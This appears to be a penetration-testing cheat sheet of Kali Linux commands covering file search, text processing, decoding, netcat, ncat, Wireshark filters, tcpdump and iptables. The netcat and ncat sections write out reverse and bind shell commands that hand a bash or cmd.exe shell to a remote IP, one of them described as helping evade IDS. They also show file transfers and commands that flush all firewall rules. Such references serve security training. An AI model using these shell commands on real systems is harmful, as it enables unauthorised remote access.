Set the Target IP Address to the $ip system variable
export ip=192.168.1.100

Find the location of a file
locate sbd.exe

Search through directories in the $PATH environment variable
which sbd

Find a search for a file that contains a specific string in it’s name:
find / -name sbd\*

Show active internet connections
netstat -lntp

Change Password
passwd

Verify a service is running and listening
netstat -antp |grep apache

Start a service
systemctl start ssh

systemctl start apache2

Have a service start at boot
systemctl enable ssh

Stop a service
systemctl stop ssh

Unzip a gz file
gunzip access.log.gz

Unzip a tar.gz file
tar -xzvf file.tar.gz

Search command history
history | grep phrase_to_search_for

Download a webpage
wget http://www.cisco.com

Open a webpage
curl http://www.cisco.com

String manipulation

Count number of lines in file
wc -l index.html

Get the start or end of a file
head index.html

tail index.html

Extract all the lines that contain a string
grep "href=" index.html

Cut a string by a delimiter, filter results then sort
grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u

Using Grep and regular expressions and output to a file
cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort –u > list.txt

Use a bash loop to find the IP address behind each host
for url in $(cat list.txt); do host $url; done

Collect all the IP Addresses from a log file and sort by frequency
cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn

Decoding using Kali

Decode Base64 Encoded Values

echo -n "QWxhZGRpbjpvcGVuIHNlc2FtZQ==" | base64 --decode

Decode Hexidecimal Encoded Values
echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps

Netcat - Read and write TCP and UDP Packets

Download Netcat for Windows (handy for creating reverse shells and transfering files on windows systems): https://joncraton.org/blog/46/netcat-for-windows/

Connect to a POP3 mail server
nc -nv $ip 110

Listen on TCP/UDP port
nc -nlvp 4444

Connect to a netcat port
nc -nv $ip 4444

Send a file using netcat
nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe

Receive a file using netcat
nc -nlvp 4444 > incoming.exe

Some OSs (OpenBSD) will use nc.traditional rather than nc so watch out for that...

whereis nc
nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz

/bin/nc.traditional -e /bin/bash 1.2.3.4 4444

Create a reverse shell with Ncat using cmd.exe on Windows
nc.exe -nlvp 4444 -e cmd.exe

or

nc.exe -nv <Remote IP> <Remote Port> -e cmd.exe

Create a reverse shell with Ncat using bash on Linux
nc -nv $ip 4444 -e /bin/bash

Netcat for Banner Grabbing:

echo "" | nc -nv -w1 <IP Address> <Ports>

Ncat - Netcat for Nmap project which provides more security avoid IDS

Reverse shell from windows using cmd.exe using ssl
ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl

Listen on port 4444 using ssl
ncat -v $ip 4444 --ssl

Wireshark

Show only SMTP (port 25) and ICMP traffic:

tcp.port eq 25 or icmp

Show only traffic in the LAN (192.168.x.x), between workstations and servers -- no Internet:

ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16

Filter by a protocol ( e.g. SIP ) and filter out unwanted IPs:

ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip

Some commands are equal

ip.addr == xxx.xxx.xxx.xxx

Equals

ip.src == xxx.xxx.xxx.xxx or ip.dst == xxx.xxx.xxx.xxx

ip.addr != xxx.xxx.xxx.xxx

Equals

ip.src != xxx.xxx.xxx.xxx or ip.dst != xxx.xxx.xxx.xxx

Tcpdump

Display a pcap file
tcpdump -r passwordz.pcap

Display ips and filter and sort
tcpdump -n -r passwordz.pcap | awk -F" " '{print $3}' | sort -u | head

Grab a packet capture on port 80
tcpdump tcp port 80 -w output.pcap -i eth0

Check for ACK or PSH flag set in a TCP packet
tcpdump -A -n 'tcp[13] = 24' -r passwordz.pcap

IPTables

Deny traffic to ports except for Local Loopback

iptables -A INPUT -p tcp --destination-port 13327 ! -d $ip -j DROP

iptables -A INPUT -p tcp --destination-port 9991 ! -d $ip -j DROP

Clear ALL IPTables firewall rules

```bash
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -t nat -F
iptables -t mangle -F
iptables -F
iptables -X
iptables -t raw -F iptables -t raw -X
```